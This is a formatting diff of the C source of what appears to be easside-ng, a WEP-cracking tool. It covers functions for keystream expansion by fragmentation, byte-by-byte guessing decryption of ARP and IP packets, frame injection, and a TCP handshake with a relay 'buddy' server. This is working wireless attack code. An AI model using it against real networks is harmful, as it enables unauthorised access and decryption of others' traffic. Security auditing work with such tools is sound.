 	int off_check = off_p + 1;
 	int off_s_addr = off_check + 2;
 	int off_d_addr = off_s_addr + 4;
-	unsigned char *data = es->es_packet + sizeof(*wh) + 4;
+	unsigned char * data = es->es_packet + sizeof(*wh) + 4;
 
-	if (!check_decrypt(es, wh, len))
-		return;
+	if (!check_decrypt(es, wh, len)) return;
 
-	if (es->es_prga_dlen == (off_id+2)) {
+	if (es->es_prga_dlen == (off_id + 2))
+	{
 #if 0
 		unsigned char *c = data + off_id + 2;
 #endif
@@ -1009,50 +1028,60 @@
 		es->es_prga_dlen += 2;
 		es->es_prga_d[es->es_prga_dlen] = 0;
 #endif
-	} else if (es->es_prga_dlen == (off_ttl+1)) {
+	}
+	else if (es->es_prga_dlen == (off_ttl + 1))
+	{
 		printf("\nGot IP TTL\n");
-	} else if (es->es_prga_dlen == (off_p+1)) {
-		unsigned char *c = data + off_p;
-		int p = (*c) ^ es->es_prga_d[es->es_prga_dlen-1];
-		char *str = NULL;
-
-		switch (p) {
-		case IPPROTO_ICMP:
-			str = "icmp";
-			break;
-		case IPPROTO_UDP:
-			str = "udp";
-			break;
-		case IPPROTO_TCP:
-			str = "tcp";
-			break;
-		default:
-			str = "unknown";
-			break;
+	}
+	else if (es->es_prga_dlen == (off_p + 1))
+	{
+		unsigned char * c = data + off_p;
+		int p = (*c) ^ es->es_prga_d[es->es_prga_dlen - 1];
+		char * str = NULL;
+
+		switch (p)
+		{
+			case IPPROTO_ICMP:
+				str = "icmp";
+				break;
+			case IPPROTO_UDP:
+				str = "udp";
+				break;
+			case IPPROTO_TCP:
+				str = "tcp";
+				break;
+			default:
+				str = "unknown";
+				break;
 		}
 
 		printf("\nGot proto %s\n", str);
-	} else if (es->es_prga_dlen == (off_check+2)) {
+	}
+	else if (es->es_prga_dlen == (off_check + 2))
+	{
 		printf("\nGot checksum [could use to help bforce addr]\n");
-	} else if ((es->es_prga_dlen >= off_s_addr) &&
-		   (es->es_prga_dlen <= (off_s_addr+4))) {
+	}
+	else if ((es->es_prga_dlen >= off_s_addr)
+			 && (es->es_prga_dlen <= (off_s_addr + 4)))
+	{
 		unsigned char ip[4];
 		int iplen;
 		int i;
 
 		decrypt_ip_addr(es, ip, &iplen, data, off_s_addr);
 		printf("\nSource IP so far: ");
-		for (i = 0; i < iplen; i++) {
+		for (i = 0; i < iplen; i++)
+		{
 			printf("%d", ip[i]);
-			if (i+1 < iplen)
-				printf(".");
+			if (i + 1 < iplen) printf(".");
 		}
 		printf("\n");
 
-		if (es->es_have_src && iplen == 3)
-			found_net_addr(es, ip);
-	} else if ((es->es_prga_dlen >= off_d_addr) &&
-		   (es->es_prga_dlen <= (off_d_addr+4))) {
+		if (es->es_have_src && iplen == 3) found_net_addr(es, ip);
+	}
+	else if ((es->es_prga_dlen >= off_d_addr)
+			 && (es->es_prga_dlen <= (off_d_addr + 4)))
+	{
 		unsigned char dip[4];
 		struct in_addr sip;
 		int iplen;
@@ -1061,22 +1090,21 @@
 		decrypt_ip_addr(es, &sip, &i, data, off_s_addr);
 		decrypt_ip_addr(es, dip, &iplen, data, off_d_addr);
 		printf("\nIPs so far %s->", inet_ntoa(sip));
-		for (i = 0; i < iplen; i++) {
+		for (i = 0; i < iplen; i++)
+		{
 			printf("%d", dip[i]);
-			if (i+1 < iplen)
-				printf(".");
+			if (i + 1 < iplen) printf(".");
 		}
 		printf("\n");
 
 		assert(!es->es_have_src);
-		if (iplen == 3)
-			found_net_addr(es, dip);
-	} else if (es->es_prga_dlen > off_d_addr)
+		if (iplen == 3) found_net_addr(es, dip);
+	}
+	else if (es->es_prga_dlen > off_d_addr)
 		abort();
-
 }
 
-void setup_internet(struct east_state *es)
+static void setup_internet(struct east_state * es)
 {
 	struct sockaddr_in s_in;
 	char buf[16];
@@ -1084,46 +1112,44 @@
 	es->es_astate = AS_CHECK_INET;
 	clear_timeout(es);
 	printf("Trying to connect to buddy: %s:%d\n",
-	       inet_ntoa(es->es_srvip), es->es_port);
+		   inet_ntoa(es->es_srvip),
+		   es->es_port);
 
 	assert(es->es_buddys == 0);
 	es->es_buddys = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
-	if (es->es_buddys == -1)
-		err(1, "setup_internet: socket()");
+	if (es->es_buddys == -1) err(1, "setup_internet: socket()");
 
 	memset(&s_in, 0, sizeof(s_in));
 	s_in.sin_family = PF_INET;
 	s_in.sin_addr = es->es_srvip;
 	s_in.sin_port = htons(es->es_port);
 
-	if (connect(es->es_buddys, (struct sockaddr*) &s_in, sizeof(s_in))
-	    == -1)
+	if (connect(es->es_buddys, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
 		err(1, "setup_internet: connect()");
 	printf("Connected\n");
 
 	/* handshake */
 	if (send(es->es_buddys, "sorbo", 5, 0) != 5)
 		err(1, "setup_internet: send()");
-	if (recv(es->es_buddys, buf, 6, 0) != 6)
-		err(1, "setup_internet: recv()");
+	if (recv(es->es_buddys, buf, 6, 0) != 6) err(1, "setup_internet: recv()");
 
-	if (memcmp(buf, "sorbox", 6) != 0) {
+	if (memcmp(buf, "sorbox", 6) != 0)
+	{
 		printf("setup_internet: handshake failed");
 		exit(1);
 	}
 	printf("Handshake compl33t\n");
 }
 
-void check_rtr_mac(struct east_state *es, struct ieee80211_frame *wh, int len)
+static void
+check_rtr_mac(struct east_state * es, struct ieee80211_frame * wh, int len)
 {
-	void *sa;
+	void * sa;
 	char str[18];
 
-	if (!to_me(es, wh))
-		return;
+	if (!to_me(es, wh)) return;
 
-	if (!is_arp(wh, len-4-4))
-		return;
+	if (!is_arp(wh, len - 4 - 4)) return;
 
 	sa = get_sa(wh);
 	memcpy(es->es_rtrmac, sa, 6);
@@ -1133,57 +1159,53 @@
 	setup_internet(es);
 }
 
-struct rpacket *get_slot(struct east_state *es)
+static struct rpacket * get_slot(struct east_state * es)
 {
-	struct rpacket *slot = es->es_rqueue;
-	struct rpacket *p = es->es_rqueue;
+	struct rpacket * slot = es->es_rqueue;
+	struct rpacket * p = es->es_rqueue;
 
 	/* try to recycle */
-	while (slot) {
-		if (!slot->rp_len)
-			return slot;
+	while (slot)
+	{
+		if (!slot->rp_len) return slot;
 
 		slot = slot->rp_next;
 	}
 
 	slot = malloc(sizeof(*slot));
-	if (!slot)
-		err(1, "get_slot: malloc()");
+	if (!slot) err(1, "get_slot: malloc()");
 	memset(slot, 0, sizeof(*slot));
 
 	if (!p)
 		es->es_rqueue = slot;
-	else {
-		while (p->rp_next)
-			p = p->rp_next;
+	else
+	{
+		while (p->rp_next) p = p->rp_next;
 		p->rp_next = slot;
 	}
 	return slot;
 }
 
-struct rpacket *get_head(struct east_state *es)
+static struct rpacket * get_head(struct east_state * es)
 {
-	struct rpacket *rp = es->es_rqueue;
+	struct rpacket * rp = es->es_rqueue;
 
-	if (!rp)
-		return NULL;
+	if (!rp) return NULL;
 
-	if (!rp->rp_len)
-		return NULL;
+	if (!rp->rp_len) return NULL;
 
 	return rp;
 }
 
-struct rpacket *get_packet(struct east_state *es, int id)
+static struct rpacket * get_packet(struct east_state * es, int id)
 {
-	struct rpacket *rp = es->es_rqueue;
+	struct rpacket * rp = es->es_rqueue;
 
-	while (rp) {
-		if (!rp->rp_len)
-			return NULL;
+	while (rp)
+	{
+		if (!rp->rp_len) return NULL;
 
-		if (rp->rp_id == id)
-			return rp;
+		if (rp->rp_id == id) return rp;
 
 		rp = rp->rp_next;
 	}
@@ -1191,18 +1213,20 @@
 	return NULL;
 }
 
-void remove_packet(struct east_state *es, int id)
+static void remove_packet(struct east_state * es, int id)
 {
-	struct rpacket *rp = es->es_rqueue;
-	struct rpacket **prevn;
-	struct rpacket *p;
+	struct rpacket * rp = es->es_rqueue;
+	struct rpacket ** prevn;
+	struct rpacket * p;
 
 	assert(rp);
 	prevn = &es->es_rqueue;
 
 	/* find and remove */
-	while (rp) {
-		if (rp->rp_id == id) {
+	while (rp)
+	{
+		if (rp->rp_id == id)
+		{
 			rp->rp_len = 0;
 			*prevn = rp->rp_next;
 			break;
@@ -1215,14 +1239,17 @@
 
 	/* only one element */
 	p = es->es_rqueue;
-	if (!p) {
+	if (!p)
+	{
 		es->es_rqueue = rp;
 		assert(!rp->rp_next);
 		return;
 	}
 
-	while (p) {
-		if (!p->rp_len) {
+	while (p)
+	{
+		if (!p->rp_len)
+		{
 			rp->rp_next = p->rp_next;
 			p->rp_next = rp;
 			return;
@@ -1237,14 +1264,14 @@
 	*prevn = rp;
 }
 
-int queue_len(struct east_state *es)
+static int queue_len(struct east_state * es)
 {
 	int len = 0;
-	struct rpacket *slot = es->es_rqueue;
+	struct rpacket * slot = es->es_rqueue;
 
-	while (slot) {
-		if (!slot->rp_len)
-			break;
+	while (slot)
+	{
+		if (!slot->rp_len) break;
 		len++;
 		slot = slot->rp_next;
 	}
@@ -1252,11 +1279,12 @@
 	return len;
 }
 
-void redirect_enque(struct east_state *es, struct ieee80211_frame *wh, int len)
+static void
+redirect_enque(struct east_state * es, struct ieee80211_frame * wh, int len)
 {
 	char s[18];
 	char d[18];
-	struct rpacket *slot;
+	struct rpacket * slot;
 
 	slot = get_slot(es);
 
@@ -1269,49 +1297,53 @@
 	mac2str(s, get_sa(wh), sizeof(s));
 	mac2str(d, get_da(wh), sizeof(d));
 	printf_time("Enqueued packet id %d %s->%s %d [qlen %d]\n",
-	       	    slot->rp_id, s, d, len - sizeof(*wh) - 4- 4, queue_len(es));
+				slot->rp_id,
+				s,
+				d,
+				len - sizeof(*wh) - 4 - 4,
+				queue_len(es));
 }
 
-void check_redirect(struct east_state *es, struct ieee80211_frame *wh, int len)
+static void
+check_redirect(struct east_state * es, struct ieee80211_frame * wh, int len)
 {
-	if (!for_me_and_from_ap(es, wh))
-		return;
+	if (!for_me_and_from_ap(es, wh)) return;
 
-	if (is_dup(es, wh))
-		return;
+	if (is_dup(es, wh)) return;
 
 	redirect_enque(es, wh, sizeof(*wh) + len);
 }
 
-void read_data(struct east_state *es, struct ieee80211_frame *wh, int len)
+static void
+read_data(struct east_state * es, struct ieee80211_frame * wh, int len)
 {
-	if ((wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) !=
-	     IEEE80211_FC0_SUBTYPE_DATA)
+	if ((wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
+		!= IEEE80211_FC0_SUBTYPE_DATA)
 		return;
 
-	if (!(wh->i_fc[1] & IEEE80211_FC1_WEP))
-		return;
+	if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) return;
 
-	if (!our_network(es, wh))
-		return;
+	if (!our_network(es, wh)) return;
 
-	if (!from_me(es, wh)) {
-		if (!es->es_have_packet ||
-		    (es->es_astate <= AS_FIND_IP && !es->es_have_src)) {
+	if (!from_me(es, wh))
+	{
+		if (!es->es_have_packet
+			|| (es->es_astate <= AS_FIND_IP && !es->es_have_src))
+		{
 			assert((int) sizeof(es->es_packet) >= len);
 			memcpy(es->es_packet, wh, len);
 			es->es_have_packet = len;
 
-			if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
-				es->es_have_src = 1;
-			if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
-			    wh->i_addr1[0] != 0)
+			if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) es->es_have_src = 1;
+			if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && wh->i_addr1[0] != 0)
 				es->es_have_src = 1;
 		}
-		if (!es->es_have_arp && is_arp(wh, len-sizeof(*wh)-4-4)) {
+		if (!es->es_have_arp && is_arp(wh, len - sizeof(*wh) - 4 - 4))
+		{
 			memcpy(es->es_packet_arp, wh, len);
 			es->es_have_arp = len;
-			if (es->es_astate == AS_DECRYPT_IP) {
+			if (es->es_astate == AS_DECRYPT_IP)
+			{
 				printf("\nPreempting to ARP decryption\n");
 				es->es_astate = AS_FIND_IP;
 			}
@@ -1320,144 +1352,147 @@
 
 	len -= sizeof(*wh);
 
-	switch (es->es_astate) {
-	case AS_NOPRGA:
-		base_prga(es, wh, len);
-		es->es_astate = AS_PRGA_EXPAND;
-		break;
+	switch (es->es_astate)
+	{
+		case AS_NOPRGA:
+			base_prga(es, wh, len);
+			es->es_astate = AS_PRGA_EXPAND;
+			break;
 
-	case AS_PRGA_EXPAND:
-		check_expand(es, wh, len);
-		break;
+		case AS_PRGA_EXPAND:
+			check_expand(es, wh, len);
+			break;
 
-	case AS_FIND_IP:
-		break;
+		case AS_FIND_IP:
+			break;
 
-	case AS_DECRYPT_ARP:
-		check_decrypt_arp(es, wh, len);
-		break;
+		case AS_DECRYPT_ARP:
+			check_decrypt_arp(es, wh, len);
+			break;
 
-	case AS_DECRYPT_IP:
-		check_decrypt_ip(es, wh, len);
-		break;
+		case AS_DECRYPT_IP:
+			check_decrypt_ip(es, wh, len);
+			break;
 
-	case AS_FIND_RTR_MAC:
-		check_rtr_mac(es, wh, len);
-		break;
+		case AS_FIND_RTR_MAC:
+			check_rtr_mac(es, wh, len);
+			break;
 
-	case AS_CHECK_INET:
-		break;
+		case AS_CHECK_INET:
+			break;
 
-	case AS_REDIRECT:
-		check_redirect(es, wh, len);
-		break;
+		case AS_REDIRECT:
+			check_redirect(es, wh, len);
+			break;
 
-	default:
-		abort();
-		break;
+		default:
+			abort();
+			break;
 	}
 }
 
-void read_wifi(struct east_state *es)
+static void read_wifi(struct east_state * es)
 {
 	unsigned char buf[4096];
 	int len;
-	struct ieee80211_frame *wh = (struct ieee80211_frame*) buf;
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
 
 	len = wi_read(es->es_wi, buf, sizeof(buf), NULL);
-	if (len == -1)
-		err(1, "wi_read()");
+	if (len == -1) err(1, "wi_read()");
 
 	/* XXX: I don't do any length chex */
-	if (len < 2) {
+	if (len < 2)
+	{
 		printf("Short packet %d\n", len);
 		return;
 	}
 
-	switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) {
-	case IEEE80211_FC0_TYPE_MGT:
-		read_mgt(es, wh, len);
-		break;
+	switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK)
+	{
+		case IEEE80211_FC0_TYPE_MGT:
+			read_mgt(es, wh, len);
+			break;
 
-	case IEEE80211_FC0_TYPE_CTL:
-		read_ctl(es, wh, len);
-		break;
+		case IEEE80211_FC0_TYPE_CTL:
+			read_ctl(es, wh, len);
+			break;
 
-	case IEEE80211_FC0_TYPE_DATA:
-		read_data(es, wh, len);
-		break;
+		case IEEE80211_FC0_TYPE_DATA:
+			read_data(es, wh, len);
+			break;
 
-	default:
-		printf("Unknown type %x\n",
-		       wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK);
-		break;
+		default:
+			printf("Unknown type %x\n", wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK);
+			break;
 	}
 }
 
-unsigned int msec_diff(struct timeval *after, struct timeval *before)
+static unsigned int msec_diff(struct timeval * after, struct timeval * before)
 {
 	unsigned int diff;
 
 	assert(after->tv_sec >= before->tv_sec);
 
-	if (after->tv_sec > before->tv_sec) {
+	if (after->tv_sec > before->tv_sec)
+	{
 		unsigned int usec;
 
 		diff = (after->tv_sec - before->tv_sec - 1) * 1000;
-		usec = 1000*1000 - before->tv_usec;
+		usec = 1000 * 1000 - before->tv_usec;
 		usec += after->tv_usec;
-		diff += usec/1000;
+		diff += usec / 1000;
 	}
 	else /* after->tv_sec == before->tv_sec */
-		diff = (after->tv_usec - before->tv_usec)/1000;
+		diff = (after->tv_usec - before->tv_usec) / 1000;
 
 	return diff;
 }
 
-void msec_to_tv(int msec, struct timeval *tv)
+static void msec_to_tv(int msec, struct timeval * tv)
 {
-	tv->tv_sec = msec/1000;
-	tv->tv_usec = (msec - tv->tv_sec*1000)*1000;
+	tv->tv_sec = msec / 1000;
+	tv->tv_usec = (msec - tv->tv_sec * 1000) * 1000;
 }
 
-void chan_hop(struct east_state *es, struct timeval *tv)
+static void chan_hop(struct east_state * es, struct timeval * tv)
 {
 	struct timeval now;
 	unsigned int elapsed;
 
-	if (gettimeofday(&now, NULL) == -1)
-		err(1, "gettimeofday()");
+	if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
 
 	elapsed = msec_diff(&now, &es->es_lasthop);
 
 	/* hop */
-	if (elapsed >= es->es_hopfreq) {
+	if (elapsed >= es->es_hopfreq)
+	{
 		es->es_apchan++;
-		if (es->es_apchan > 12)
-			es->es_apchan = 1;
+		if (es->es_apchan > 12) es->es_apchan = 1;
 		es->es_lasthop = now;
 		set_chan(es);
 		printf("Chan %.2d\r", es->es_apchan);
 		fflush(stdout);
 
 		msec_to_tv(es->es_hopfreq, tv);
-	} else
+	}
+	else
 		msec_to_tv(es->es_hopfreq - elapsed, tv);
 }
 
-unsigned short fnseq(unsigned short fn, unsigned short seq) {
-        unsigned short r = 0;
+static unsigned short fnseq(unsigned short fn, unsigned short seq)
+{
+	unsigned short r = 0;
 
 	assert(fn < 16);
 
-        r = fn;
-        r |=  ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
-        return r;
+	r = fn;
+	r |= ((seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
+	return r;
 }
 
-void fill_basic(struct east_state *es, struct ieee80211_frame *wh)
+static void fill_basic(struct east_state * es, struct ieee80211_frame * wh)
 {
-        unsigned short* sp;
+	unsigned short * sp;
 
 	/* macs */
 	memcpy(wh->i_addr1, es->es_apmac, sizeof(wh->i_addr1));
@@ -1465,42 +1500,44 @@
 	memcpy(wh->i_addr3, es->es_apmac, sizeof(wh->i_addr3));
 
 	/* duration */
-	sp = (unsigned short*) wh->i_dur;
-//	*sp = htole16(32767);
+	sp = (unsigned short *) wh->i_dur;
+	//	*sp = htole16(32767);
 	*sp = htole16(0);
 
 	/* seq */
-	sp = (unsigned short*) wh->i_seq;
+	sp = (unsigned short *) wh->i_seq;
 	*sp = fnseq(0, es->es_txseq);
 }
 
-void send_frame(struct east_state *es, void *buf, int len)
+static void send_frame(struct east_state * es, void * buf, int len)
 {
-        int rc;
+	int rc;
 
-        rc = wi_write(es->es_wi, buf, len, NULL);
-        if(rc == -1)
-		err(1, "wi_write()");
-        if (rc != len) {
-                printf("ERROR: Packet length changed while transmitting (%d instead of %d).\n", rc, len);
-                exit(1);
-        }
+	rc = wi_write(es->es_wi, buf, len, NULL);
+	if (rc == -1) err(1, "wi_write()");
+	if (rc != len)
+	{
+		printf("ERROR: Packet length changed while transmitting (%d instead of "
+			   "%d).\n",
+			   rc,
+			   len);
+		exit(1);
+	}
 
-	if (gettimeofday(&es->es_txlast, NULL) == -1)
-		err(1, "gettimeofday()");
+	if (gettimeofday(&es->es_txlast, NULL) == -1) err(1, "gettimeofday()");
 }
 
-int too_early(struct timeval *tv, int to, struct timeval *last_sent)
+static int too_early(struct timeval * tv, int to, struct timeval * last_sent)
 {
 	struct timeval now;
 	unsigned int elapsed;
 
 	/* check if timeout expired */
-	if (gettimeofday(&now, NULL) == -1)
-		err(1, "gettimeofday()");
+	if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
 
 	elapsed = msec_diff(&now, last_sent);
-	if (elapsed < (unsigned int) to) {
+	if (elapsed < (unsigned int) to)
+	{
 		msec_to_tv(to - elapsed, tv);
 		return 1;
 	}
@@ -1509,15 +1546,14 @@
 	return 0;
 }
 
-void send_auth(struct east_state *es, struct timeval *tv)
+static void send_auth(struct east_state * es, struct timeval * tv)
 {
 	unsigned char buf[4096];
-	struct ieee80211_frame *wh = (struct ieee80211_frame*) buf;
-	unsigned short *sp;
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned short * sp;
 	int len;
 
-	if (too_early(tv, es->es_txto_mgt, &es->es_txlast))
-		return;
+	if (too_early(tv, es->es_txto_mgt, &es->es_txlast)) return;
 
 	memset(buf, 0, sizeof(buf));
 
@@ -1526,7 +1562,7 @@
 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
 
 	/* transaction number */
-	sp = (unsigned short*) (wh+1);
+	sp = (unsigned short *) (wh + 1);
 	sp++;
 	*sp = htole16(1);
 
@@ -1535,16 +1571,15 @@
 	send_frame(es, wh, len);
 }
 
-void send_assoc(struct east_state *es, struct timeval *tv)
+static void send_assoc(struct east_state * es, struct timeval * tv)
 {
 	unsigned char buf[4096];
-	struct ieee80211_frame *wh = (struct ieee80211_frame*) buf;
-	unsigned short *sp;
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned short * sp;
 	int len;
-	unsigned char *ptr;
+	unsigned char * ptr;
 
-	if (too_early(tv, es->es_txto_mgt, &es->es_txlast))
-		return;
+	if (too_early(tv, es->es_txto_mgt, &es->es_txlast)) return;
 
 	memset(buf, 0, sizeof(buf));
 
@@ -1552,25 +1587,25 @@
 	fill_basic(es, wh);
 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
 
-	sp = (unsigned short*) (wh+1);
+	sp = (unsigned short *) (wh + 1);
 
 	/* capability */
 	*sp++ = htole16(IEEE80211_CAPINFO_ESS | IEEE80211_CAPINFO_PRIVACY);
 	*sp++ = htole16(100); /* listen interval */
 
 	/* ssid */
-	ptr = (unsigned char*) sp;
+	ptr = (unsigned char *) sp;
 	*ptr++ = IEEE80211_ELEMID_SSID;
 	len = strlen(es->es_apssid);
 	*ptr++ = len;
-	strncpy((char*)ptr, es->es_apssid, 32);
+	strncpy((char *) ptr, es->es_apssid, 32);
 	ptr += len;
 
 	/* rates */
 	*ptr++ = IEEE80211_ELEMID_RATES;
 	*ptr++ = 8;
-	*ptr++ = 2  | 0x80;
-	*ptr++ = 4  | 0x80;
+	*ptr++ = 2 | 0x80;
+	*ptr++ = 4 | 0x80;
 	*ptr++ = 11 | 0x80;
 	*ptr++ = 22 | 0x80;
 	*ptr++ = 12 | 0x80;
@@ -1591,25 +1626,26 @@
 	send_frame(es, wh, len);
 }
 
-void put_crc32(void *data, int len)
+static void put_crc32(void * data, int len)
 {
-	unsigned int *ptr = (unsigned int*) ((char*)data+len);
+	unsigned int * ptr = (unsigned int *) ((char *) data + len);
 
 	*ptr = get_crc32(data, len);
 }
 
-void expand_prga(struct east_state *es, struct timeval *tv)
+static void expand_prga(struct east_state * es, struct timeval * tv)
 {
 	unsigned char buf[2048];
-	struct ieee80211_frame *wh = (struct ieee80211_frame*) buf;
-	unsigned char *data = (unsigned char*) (wh+1);
-        unsigned short* sp = (unsigned short*) wh->i_seq;
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned char * data = (unsigned char *) (wh + 1);
+	unsigned short * sp = (unsigned short *) wh->i_seq;
 	int dlen;
 	int early;
 	int totlen;
 
 	/* start from beginning */
-	if (es->es_expand_num == -1) {
+	if (es->es_expand_num == -1)
+	{
 		es->es_txack = 0;
 		es->es_expand_num = 0;
 		es->es_txseq++;
@@ -1618,32 +1654,33 @@
 
 	early = too_early(tv, es->es_txto_expand, &es->es_txlast);
 
-	if (!es->es_txack && early)
-		return;
+	if (!es->es_txack && early) return;
 
 	memset(buf, 0, sizeof(buf));
 
 	/* see if we got an ack to move onto next frag */
-	if (es->es_txack) {
+	if (es->es_txack)
+	{
 		es->es_expand_num++;
 		es->es_clearp = es->es_clearpnext;
-		if (es->es_expand_num == es->es_expand_factor) {
+		if (es->es_expand_num == es->es_expand_factor)
+		{
 			es->es_expand_num = 0;
 			es->es_txseq++;
 			es->es_clearp = es->es_clear;
 		}
 		es->es_txack = 0;
-	} else
-			wh->i_fc[1] |= IEEE80211_FC1_RETRY;
+	}
+	else
+		wh->i_fc[1] |= IEEE80211_FC1_RETRY;
 
-	if (es->es_expand_num == 0 && early)
-		return;
+	if (es->es_expand_num == 0 && early) return;
 
 	/* 802.11 header */
 	fill_basic(es, wh);
 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
-	wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG | IEEE80211_FC1_DIR_TODS
-		       | IEEE80211_FC1_WEP;
+	wh->i_fc[1]
+		|= IEEE80211_FC1_MORE_FRAG | IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
 	memset(wh->i_addr3, 0xff, 6);
 
 	/* iv & crc */
@@ -1652,14 +1689,16 @@
 	dlen = es->es_prgalen - 4;
 
 	/* see how much we sent */
-	totlen = dlen*es->es_expand_num;
+	totlen = dlen * es->es_expand_num;
 	es->es_expand_len = totlen + dlen + 4;
-	if ((int) sizeof(es->es_prga) < es->es_expand_len) {
+	if ((int) sizeof(es->es_prga) < es->es_expand_len)
+	{
 		es->es_expand_len -= dlen;
 		dlen = sizeof(es->es_prga) - totlen - 4;
 
 		/* don't need as many frags; start over */
-		if (dlen <= 0) {
+		if (dlen <= 0)
+		{
 			es->es_expand_num = -1;
 			es->es_expand_len = sizeof(es->es_prga);
 			return;
@@ -1669,8 +1708,8 @@
 		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
 	}
 
-	assert((es->es_clearp >= es->es_clear) && ((es->es_clearp + dlen)
-	       < &es->es_clear[sizeof(es->es_clear)]));
+	assert((es->es_clearp >= es->es_clear)
+		   && ((es->es_clearp + dlen) < &es->es_clear[sizeof(es->es_clear)]));
 	memcpy(data, es->es_clearp, dlen);
 	es->es_clearpnext = es->es_clearp + dlen;
 
@@ -1678,25 +1717,26 @@
 	xor(data, data, es->es_prga, es->es_prgalen);
 
 	/* send frag */
-	if ((es->es_expand_num+1) == es->es_expand_factor)
+	if ((es->es_expand_num + 1) == es->es_expand_factor)
 		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
 
 	*sp = fnseq(es->es_expand_num, es->es_txseq);
 	printf("Sending %d byte fragment %d:%d\r",
-	       dlen, es->es_txseq, es->es_expand_num);
+		   dlen,
+		   es->es_txseq,
+		   es->es_expand_num);
 	fflush(stdout);
 	send_frame(es, wh, data - buf + dlen + 4);
 }
 
-void decrypt_packet(struct east_state *es, struct timeval *tv)
+static void decrypt_packet(struct east_state * es, struct timeval * tv)
 {
 	unsigned char buf[2048];
-	struct ieee80211_frame *wh = (struct ieee80211_frame*) buf;
-	unsigned char *data = (unsigned char*) (wh+1);
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned char * data = (unsigned char *) (wh + 1);
 	int dlen;
 
-	if (too_early(tv, es->es_txto_decrypt, &es->es_txlast))
-		return;
+	if (too_early(tv, es->es_txto_decrypt, &es->es_txlast)) return;
 
 	memset(buf, 0, sizeof(buf));
 
@@ -1714,33 +1754,35 @@
 	dlen = es->es_prga_dlen - 4 + 1;
 	memcpy(data, es->es_clear, dlen);
 	put_crc32(data, dlen);
-	xor(data, data, es->es_prga_d, es->es_prga_dlen+1);
+	xor(data, data, es->es_prga_d, es->es_prga_dlen + 1);
 
 	printf_time("Guessing prga byte %d with %.2X\r",
-		    es->es_prga_dlen, es->es_prga_d[es->es_prga_dlen]);
+				es->es_prga_dlen,
+				es->es_prga_d[es->es_prga_dlen]);
 	fflush(stdout);
 	send_frame(es, wh, data - buf + dlen + 4);
 
 	es->es_prga_d[es->es_prga_dlen]++;
 }
 
-void decrypt_arp(struct east_state *es, struct timeval *tv)
+static void decrypt_arp(struct east_state * es, struct timeval * tv)
 {
 	/* init */
-	if (es->es_astate != AS_DECRYPT_ARP) {
+	if (es->es_astate != AS_DECRYPT_ARP)
+	{
 		unsigned char clear[1024];
-		unsigned char *prga = es->es_prga_d;
-		unsigned char *ct;
-		struct ieee80211_frame *wh = (struct ieee80211_frame*)
-					     es->es_packet_arp;
+		unsigned char * prga = es->es_prga_d;
+		unsigned char * ct;
+		struct ieee80211_frame * wh
+			= (struct ieee80211_frame *) es->es_packet_arp;
 		int len;
 		es->es_astate = AS_DECRYPT_ARP;
 
-		ct = (unsigned char*) (wh+1);
+		ct = (unsigned char *) (wh + 1);
 		memcpy(es->es_prga_div, ct, 3);
 		ct += 4;
 
-		len = known_clear(clear, wh, 8 + sizeof(struct arphdr) + 10*2);
+		len = known_clear(clear, wh, 8 + sizeof(struct arphdr) + 10 * 2);
 		xor(prga, clear, ct, len);
 		prga += len;
 
@@ -1751,20 +1793,20 @@
 	decrypt_packet(es, tv);
 }
 
-void decrypt_ip(struct east_state *es, struct timeval *tv)
+static void decrypt_ip(struct east_state * es, struct timeval * tv)
 {
 	/* init */
-	if (es->es_astate != AS_DECRYPT_IP) {
+	if (es->es_astate != AS_DECRYPT_IP)
+	{
 		unsigned char clear[1024];
-		unsigned char *prga = es->es_prga_d;
-		unsigned char *ct;
-		struct ieee80211_frame *wh = (struct ieee80211_frame*)
-					     es->es_packet;
+		unsigned char * prga = es->es_prga_d;
+		unsigned char * ct;
+		struct ieee80211_frame * wh = (struct ieee80211_frame *) es->es_packet;
 		int len;
 		unsigned short totlen;
 		es->es_astate = AS_DECRYPT_IP;
 
-		ct = (unsigned char*) (wh+1);
+		ct = (unsigned char *) (wh + 1);
 		memcpy(es->es_prga_div, ct, 3);
 		ct += 4;
 
@@ -1772,13 +1814,15 @@
 		len = 8;
 		memcpy(clear, S_LLC_SNAP_IP, len);
 		xor(prga, clear, ct, len);
-		prga += len; ct += len;
+		prga += len;
+		ct += len;
 
 		/* ip hdr */
 		len = 2;
 		memcpy(clear, "\x45\x00", len);
 		xor(prga, clear, ct, len);
-		prga += len; ct += len;
+		prga += len;
+		ct += len;
 
 		/* tot len */
 		totlen = es->es_have_packet - sizeof(*wh) - 4 - 8 - 4;
@@ -1786,7 +1830,8 @@
 		len = 2;
 		memcpy(clear, &totlen, len);
 		xor(prga, clear, ct, len);
-		prga += len; ct += len;
+		prga += len;
+		ct += len;
